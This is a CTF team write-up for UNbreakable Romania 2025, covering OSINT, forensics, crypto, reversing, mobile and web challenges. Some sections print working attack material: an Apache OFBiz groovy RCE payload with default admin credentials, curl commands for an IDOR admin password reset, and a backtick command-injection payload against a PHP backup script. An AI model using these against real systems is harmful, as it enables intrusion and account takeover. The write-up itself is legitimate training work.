Post

UNbreakable Romania 2025 Team Phase Write-up

UNbreakable Romania 2025 Team Phase Write-up

Summary

Wildlotus is a team from Pitesti, Arges with 3 members from different high schools but with the same passion, cybersecurity. Here is our write-up for the Unbreakable 2025 team phase. We enjoyed this edition, we learned a lot and also had fun (besides the OSINT challenge :^)

Challenges Overview

gaming-habits: OSINT

Flag: CTF{6acfb96047869efed819b66c2bab15565698d8295ca78d7d4859a94873dcc5ce}

Summary

We were guided by the 2 green houses, the train track, and the road.

Solution

From the picture we could see 2 different houses, a tall green one (which we had to find) and a green mansion. We found the identifier for the high house at DayZ Wiki, which was land_house_2w02, and for the mansion it was land_house_2w03.

Then on DayZ Xam, we used a search filter based on the identifier. After a thorough search, we found an area that matched our requirements (road that intersects the train track, the 2 houses, and a forest).

DayZ Map Location

silent-beacon: Forensics

Flag: ctf{32faf5270d2ac7382047ac3864712cd8cb5b8999511a59a7c5cb5822e0805b91}

Summary

Rebuild the MP3 using the packets from Wireshark and get the flag from the audio.

Solution

In the PCAP, we found an interesting packet. After a Google search, we discovered it was a text-to-speech file, so we assumed we had the flag in this MP3. There were multiple “Send Put continue” packets in Wireshark, so we used a script to craft our file.

Wireshark Text-to-Speech Packet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from scapy.all import rdpcap, Raw

# Load your pcap
packets = rdpcap("C:/Users/bogda/Downloads/capture(2).pcap")

file_data = b""

# OBEX Body (0x48), End-of-Body (0x49)
BODY_HEADERS = [0x48, 0x49]

for pkt in packets:
    if Raw in pkt:
        raw_data = bytes(pkt[Raw])
        for header_id in BODY_HEADERS:
            idx = raw_data.find(bytes([header_id]))
            if idx != -1 and len(raw_data) >= idx + 3:
                # Next two bytes = length (big endian)
                length = int.from_bytes(raw_data[idx+1:idx+3], 'big')
                end_idx = idx + 3 + (length - 3)
                if end_idx <= len(raw_data):
                    body = raw_data[idx+3:end_idx]
                    file_data += body

# Save reconstructed file
with open("reconstructed.mp3", "wb") as f:
    f.write(file_data)

After filtering the packets, we got a 120kB audio file. Using Zamzar MP3-to-Text, we extracted the flag!

open-for-business: WEB

Flag: CTF{2378f7c994cd18ee3206f253744aea876734a3ed4e6a7244a9f70f73e86ac833}

Summary

Exploiting CVE-2024-32113

Solution

First, we tried FFUF on the webserver to find something. There we discovered /catalog and immediately found we were dealing with Apache OFBiz. We found it was version 18.12, which is vulnerable to CVE-2024-32113.

After we failed with the payload, one of our teammates found credentials in /webtools/main. Perfect!

We logged in using:

1
https://65.109.131.17:1337/accounting/control/login?USERNAME=admin&PASSWORD=ofbiz

(we used simple modify header extension for localhost to make navigation easier)

Apache OFBiz Admin Panel

We accessed the panel. Later in the webtools at “program export”, we found a “groovy program” parameter where we could inject malicious data and get RCE:

1
throw new Exception('id'.execute().text);

This allowed us to execute the id command, and in ../home/ctf/flag.txt, we found the flag.

RCE Exploitation

PIN-v2: Reverse

Flag: CTF{ea875111287b0f7dd1db64c131e59ba2005e7a4611bace7aab827627e4161acc}

Summary

Analyze the function and reconstruct the PIN to get the flag.

Solution

We opened the binary in Ghidra, renamed the first function called by libc to main, and started looking through the code.

Ghidra Main Function

We noticed something interesting: cVar1 gets the value returned by calling FUN_001016d8, and if cVar1 isn’t NULL, it executes the else section which prints our flag.

We opened FUN_001016d8 and saw several if statements representing the conditions our PIN must meet to return 1 and get the flag.

Functio Conditions 1 Functio Conditions 2

An interesting part was the rand() function, which generates a random integer. Var6 gets the value of Var5 (the generated number from rand) modulo 1000, which means Var5 gets the last 3 digits. Later it checks if Var6 has the last 3 bits equal to 7. If this and the rest of the conditions are true, Var7 gets the value 1 and we get the flag.

Based on all the if statements, we constructed the PIN and got it on the first try.

malware-chousa: Forensics

Flag responses:

  • Q1. What .bat file is the source of infection? start.bat
  • Q2. What Windows Logs file from EventViewer contains information about creation of users? Security
  • Q3. What new user was created by malware? (see log.evtx) Artifact
  • Q4. What is the extension of the encrypted files? .a4k
  • Q5. From what IP is backdoor downloaded? (see capture.pcapng) 192.168.100.47
  • Q6. What registry is used for persistence? (see registry.reg) HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • Q7. Path of the Powershell history file: C:\Users\atomi\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
  • Q8. Flag: CTF{u4vz7r1yq2t9x0p8w5j3k7m6l2c1n0z}

Summary

Analyze the files with various tools and answer the questions.

Solution

Q1: We opened the image.ad1 with FTK Imager and looked inside the folders for suspicious files. We found a strange file named start.bat.

FTK Imager Finding start.bat

Q2: Straightforward: Security

Q3: We opened the evtx file with Event Viewer and looked for event ID 4720, which indicates User Account Management activities (creation/deletion/modification of user profile). We found that a new user account was created: artifact.

Event Viewer User Creation

Q4: We continued using FTK Imager to search for encrypted files.

Q5: We opened the packet capture file with Wireshark, selected File => Export Objects => HTTP, and found the source IP address of the backdoor.

Wireshark Backdoor IP

Q6: Initially, we weren’t sure how to approach this since the registry.reg file contained links with connections that the backdoor was initiating at startup. Our colleague David had the great idea to run the start.bat file on his machine and check the registry! That’s how we got the flag!

Q7: We used FTK Imager, knowing that the PowerShell history file is in C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Q8: The flag was inside the ConsoleHost_history.txt file.

PowerShell History Flag

jvroom: Forensics

Flag responses:

  • Q1. What version of OS build is present? 19041
  • Q2. What is the PID of the text viewing program? 7296
  • Q3. What is the parent process name of the text viewing program? explorer.exe
  • Q4. What is the number of characters for the command that opens the important file? 73
  • Q5. Tool that can be used to work with a hex dump: xxd
  • Q6. What car manufacturer is being compromised? toyota
  • Q7. What is the decoded information that was stolen? w1Nd0W5_w1Th_f0Rd_r4M
  • Q8. From which car model was the key stolen? supra
  • Q9. At which hexadecimal memory location (32 bytes aligned) can the car model be found? 2f86bf60

Summary

Analyze the memory dump file with volatility3 and answer the questions.

Solution

Q1: We used volatility3 to analyze the memory dump and used the windows.info command.

Volatility Windows Info

Q2: Since the question mentioned a text viewing program, we searched for notepad-related processes and found that notepad had PID 7296.

Notepad Process

Q3: To find the parent process, we checked the PPID of the notepad process (7296), which was 5840, corresponding to explorer.exe.

Parent Process

Q4: The command was: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\elasticuser\Desktop\toyota.txt, which is 73 characters long.

Q5: This was easy: xxd.

Q6: From the previous question, we could see that the name of the txt file was toyota.

Q7: We needed to search for something related to Toyota. We ran strings with grep on “toyota” and found some interesting messages that looked like base64 encoded text. We confirmed this using a hash analyzer site. We then used CyberChef with the “From Base64” recipe to decode the text and got the flag!

Base64 Decode

Q8: We knew the company was Toyota, so we ran strings with grep on “toyota” and found that the model was a Supra!

Toyota Supra String

Q9: We used the xxd tool with grep to search for the string “supra” and found its address.

Supra Memory Address

wheel-of-furtune: Cryptography

Flag: ctf{49e6b3ba5aa5a624d22dd1d2cc46804b5d3c51b13096dffb5cd6af8a9ec4eed5}

Summary

Predict the number from a pseudorandom generator.

Solution

We connected to the instance and ran it multiple times to understand how it works.

Wheel of Fortune Server

It appeared to be using Mersenne Twister (a general-purpose pseudorandom number generator).

First script (furtune_1.py), where we collected all the outputs generated by the program (624 outputs) and saved them in pairs.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import socket
import re
import time

HOST = '34.159.76.28'
PORT = 30550
OUTPUT_FILE = 'pairs.txt'

def parse_response(data):
    """Extract initial value and result from server response"""
    initial_match = re.search(r'Initial value: (\d+)', data)
    result_match = re.search(r'% 100\) \+ 1= (\d+)', data)
    if initial_match and result_match:
        return (initial_match.group(1), result_match.group(1))
    return None

def collect_pairs():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((HOST, PORT))
        s.settimeout(5)
        
        # Phase 1: Automatic collection
        with open(OUTPUT_FILE, 'a') as f:
            count = 0
            while count < 624:
                s.sendall(b'0\n')
                data = b''
                
                # Receive response
                while True:
                    try:
                        chunk = s.recv(4096)
                        if not chunk:
                            break
                        data += chunk
                        if b'Guess the number between' in chunk:
                            break
                    except socket.timeout:
                        break
                
                data_str = data.decode('utf-8', errors='ignore')
                print(f"[{count+1}/624] {data_str.strip()}")
                
                # Save pair
                pair = parse_response(data_str)
                if pair:
                    f.write(f"{pair[0]}\n")
                    f.flush()
                    count += 1
                
                time.sleep(0.1)
        
        # Phase 2: Send guesses from file
        print("\n[!] Collected 624 pairs. Ready to send guesses from results.txt.\n")
        
        # Wait for user confirmation
        user_input = input("Press 'y' to start sending guesses: ").strip().lower()
        if user_input != 'y':
            print("Exiting...")
            return
        
        # Read guesses from file
        try:
            with open('results.txt', 'r') as f:
                guesses = f.readlines()
        except FileNotFoundError:
            print("Error: results.txt not found.")
            return
        
        for idx, guess_line in enumerate(guesses, 1):
            guess = guess_line.strip()
            if not guess.isdigit():
                print(f"Skipping invalid line {idx}: '{guess}'")
                continue
                
            num = int(guess)
            if not (1 <= num <= 100):
                print(f"Skipping invalid guess {num} on line {idx} (out of range).")
                continue
                
            # Send the guess
            s.sendall(f"{num}\n".encode())
            
            # Receive response
            response = b''
            while True:
                try:
                    chunk = s.recv(4096)
                    if not chunk:
                        break
                    response += chunk
                    if b'Guess the number between' in chunk:
                        break
                except socket.timeout:
                    break
            
            # Print the response
            resp_str = response.decode('utf-8', errors='ignore')
            print(f"\n[Guess {idx}] Server Response:")
            print("=" * 50)
            print(resp_str.strip())
            print("=" * 50 + "\n")
            
            time.sleep(0.1)

if __name__ == '__main__':
    try:
        collect_pairs()
    except Exception as e:
        print(f"Fatal error: {e}")

After collecting all the outputs, we tried to reverse the process and rebuild the internal structure of the algorithm with the guessed answers and send each one back to the server to get the flag.

Second script (furtune_2.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def compute_number(initial_value):
    """Compute the correct number using the given formula."""
    step1 = initial_value ^ 7
    step2 = step1 * 37 + 29
    step3 = step2 // 10000
    step4 = step3 + 1
    step5 = step4 % 100
    step6 = step5 + 1
    return step6

def read_seeds_and_compute_numbers(file_path):
    """Read seeds from a file and compute the correct numbers."""
    with open(file_path, 'r') as file:
        seeds = [int(line.strip()) for line in file if line.strip()]
    
    results = []
    for seed in seeds:
        correct_num = compute_number(seed)
        results.append(correct_num)
    
    return results

def main():
    input_file_path = 'predicted.txt'
    output_file_path = 'results.txt'
    
    results = read_seeds_and_compute_numbers(input_file_path)
    
    with open(output_file_path, 'w') as output_file:
        for number in results:
            output_file.write(f"{number}\n")

if __name__ == "__main__":
    main()

Commands used (step by step):

1
2
3
4
5
python furtune_1.py
cat pairs.txt | mt19937predict > predicted1.txt
head -n 100 predicted1.txt > predicted.txt
python furtune_2.py
# input y when asked for confirmation in furtune_1.py

og-jail: Misc

Flag: ctf{97829f135832f37a4b3d6176227cf6b96d481d543e6051c0087f24c1cd0881ed}

Summary

Simple jail challenge - we just needed to find out we could execute any command we wanted by bypassing the filter.

Solution

After some trial and error, we found a method to bypass the safety measures. We discovered we could execute anything inside single quotes (' ').

OG-Jail Bypass

hangman: Misc

Flag: ctf{609e75158367c10d4bd189db41206dbdde4d1c542279ea5275bbcdf440af7509}

Summary

For us, guessing the letters was the solution

Solution

After doing trial and error and using common letters, we managed to guess the prompted word from the game.

Hangman Game

bnc: Cryptography

Flag: ctf{5fd924625f6ab16a19cc9807c7c506ae1813490e4ba675f843d5a10e0baacdb8}

Summary

Predict the seed and get the flag.

Solution

After analyzing the source code, it looked like we needed to predict the seed to “win” and get the flag.

We used the following script to solve it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import random
import time

choices = ["Bear", "Ninja", "Cowboy"]
rules = {
    "Bear": "Ninja",
    "Ninja": "Cowboy",
    "Cowboy": "Bear"
}
reverse_rules = {v: k for k, v in rules.items()}

def get_player_choice(computer_choice):
    return reverse_rules[computer_choice]

def generate_sequence(seed):
    random.seed(seed)
    sequence = []
    for _ in range(30):
        comp = random.choice(choices)
        player = get_player_choice(comp)
        sequence.append(player)
    return sequence

def attempt(seed):
    try:
        r = remote('34.159.27.166', 30453, timeout=5)
        seq = generate_sequence(seed)
        
        for choice in seq:
            r.recvuntil("Type your choice: ")
            r.sendline(choice)
        
        response = r.recvall(timeout=5)
        if b'Congratulations' in response:
            print(f"Flag: {response.decode()}")
            return True
    except Exception as e:
        print(f"Seed {seed} failed: {str(e)}")
    finally:
        r.close()
    return False

current_time = int(time.time())

for delta in range(-5, 5):
    seed = current_time + delta
    print(f"Testing seed: {seed}")
    if attempt(seed):
        exit()

keep-it-locked: Forensics

Flag: UNR{n0_p@ss0rd_man@g3r_can_KEE_m3_0ut}

Summary

Analyze the file and get the key to find the flag.

Solution

We downloaded the memory dump and analyzed it with volatility3. We saw a process named KeeTheft.exe.

We dumped the files related to the process and discovered it was storing credentials in plaintext. We ran strings (with the flag --el because it was a Windows memory dump) on it with grep "plaintext" to find the master key.

Master Key

After getting the master key, we opened the kdbx file, pasted the key, and found the flag!

KeePass Database KeePass Flag

stolen-data: Mobile

Flag: CTF{9a4477c0b485e0427c177e1b4274df935f3bc867e537aae5bd54e0b22ea71eb1}

Summary

Reverse the file with jadx and get admin rights to access the flag.

Solution

After reversing the app, we saw it interacts with an API that manages account control and notes. Looking into the ChangePasswordRequest, we observed that to change an account’s password, we only needed the account ID (IDOR), which could be retrieved from /api/auth/me.

JADX App Reversing

We found the admin’s email ([email protected]), which allowed us to find his user ID, change his password, log in, and read his notes. One of his notes contained the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
curl -X POST "http://34.107.108.126:31047/api/auth/register" \
-H "Content-Type: application/json" \
-d '{
  "email": "[email protected]",
  "password": "test",
  "name": "test"
}'

curl -X POST "http://34.107.108.126:31047/api/auth/me" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY3ZmJmZmU3ZmEyNGU4OGI4Mzk0YWIwYyIsImVtYWlsIjoidGVzdEB0ZXN0LmNvbSIsImlhdCI6MTc0NDU2ODI5NiwiZXhwIjoxNzQ1MTczMDk2fQ.yWF_gJcAmFWCfTyQ2tPzpmkqwByOal_mrieH-0vZbco" \
-H "Content-Type: application/json" \
-d '{"email": "[email protected]"}'       


curl -X POST "http://34.107.108.126:31047/api/auth/change-password" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY3ZmJmZmU3ZmEyNGU4OGI4Mzk0YWIwYyIsImVtYWlsIjoidGVzdEB0ZXN0LmNvbSIsImlhdCI6MTc0NDU2ODI5NiwiZXhwIjoxNzQ1MTczMDk2fQ.yWF_gJcAmFWCfTyQ2tPzpmkqwByOal_mrieH-0vZbco" \
-H "Content-Type: application/json" \
-d '{
  "newPassword": "newpass",
  "userId": "67fbff29fa24e88b8394ab06"
}'

curl -X POST "http://34.107.108.126:31047/api/auth/login" \
-H "Content-Type: application/json" \
-d '{
  "email": "[email protected]",
  "password": "newpass"
}'


curl -X GET "http://34.107.108.126:31047/api/notes" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY3ZmJmZjI5ZmEyNGU4OGI4Mzk0YWIwNiIsImVtYWlsIjoiYWRtaW5AaW5vdmF0aXZlLm5vdGVzIiwiaWF0IjoxNzQ0NTY4NTcxLCJleHAiOjE3NDUxNzMzNzF9.rEW2tZShScKzTUBuImP0CRfYus9ciS_dXPnOtbFOZe8"

Admin Notes with Flag

phpwn: Web

Flag: CTF{f4349967e93964f125623e2832cec93e4d15e1c6b9303cc89bb3f22c2514d77c}

Summary

Exploit the fact that we had access to backup.sh so we could execute whatever we wanted.

Solution

In the source code, we found a function that gave us access to backup.sh. This allowed us to craft a payload to be executed and get the flag from /tmp. After generating a valid UUID, we used a payload to extract our flag.

1
2
3
4
5
6
7
8
function setbackup($uuid, $content){
    $raw_json = ['uuid' => $uuid, 'm_threaded' => false, 'supplier' => false, 'initial_content' => $content];
    $json = json_encode($raw_json);
    $json = addslashes($json);
    $output = "echo Backing up user data: \"{$json}\";\n";
    $output .= "cp /var/www/html/data/$uuid /backup/;\n\n";
    file_put_contents('/var/www/html/private/backup.sh', $output, FILE_APPEND);
}
1
2
PAYLOAD='`cat /tmp/flag.txt > /var/www/html/private/flag.txt`'
curl -X POST -d "content=$PAYLOAD" http://34.159.27.166:31050/?uuid=e7c4040b-2426-473b-b382-d34b345a96be

PHP Exploit Flag

Scattered: Network

Flag: CTF{28193EAB5B637041AEA835924E8A712476BC88A21A25862B78732AB336BA2F33}

Summary

Reconstruct the PNGs from the PCAP.

Solution

In the PCAP, we found many packets with multiple parts from different photos. After discovering how to filter the packets, we used scapy to extract every part from every photo, reconstruct them, and get the flag.

PCAP PNG Parts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import re
from scapy.all import *

# Load the PCAP file
packets = rdpcap('capture.pcap')

# Dictionary to hold parts: {part_num: {part_idx: data}}
parts = {}

for pkt in packets:
    if pkt.haslayer(Raw):
        payload = pkt[Raw].load
        # Match the header pattern (e.g., \x03FILE:part7.png:PART0:)
        matches = re.finditer(rb'(.?)FILE:part(\d+)\.png:PART(\d+):', payload)
        for match in matches:
            # Extract part number (X) and part index (Y)
            part_num = match.group(2).decode()
            part_idx = int(match.group(3).decode())
            # Data starts after the header
            data_start = match.end()
            part_data = payload[data_start:]
            
            # Store in the dictionary
            if part_num not in parts:
                parts[part_num] = {}
            parts[part_num][part_idx] = part_data

# Reassemble each partX.png
for part_num in parts:
    sorted_indices = sorted(parts[part_num].keys())
    with open(f'part{part_num}.png', 'wb') as f:
        for idx in sorted_indices:
            f.write(parts[part_num][idx])
    print(f'Created part{part_num}.png')

Reconstructed Image 1 Reconstructed Image 2 Reconstructed Image 3

This post is licensed under CC BY 4.0 by the author.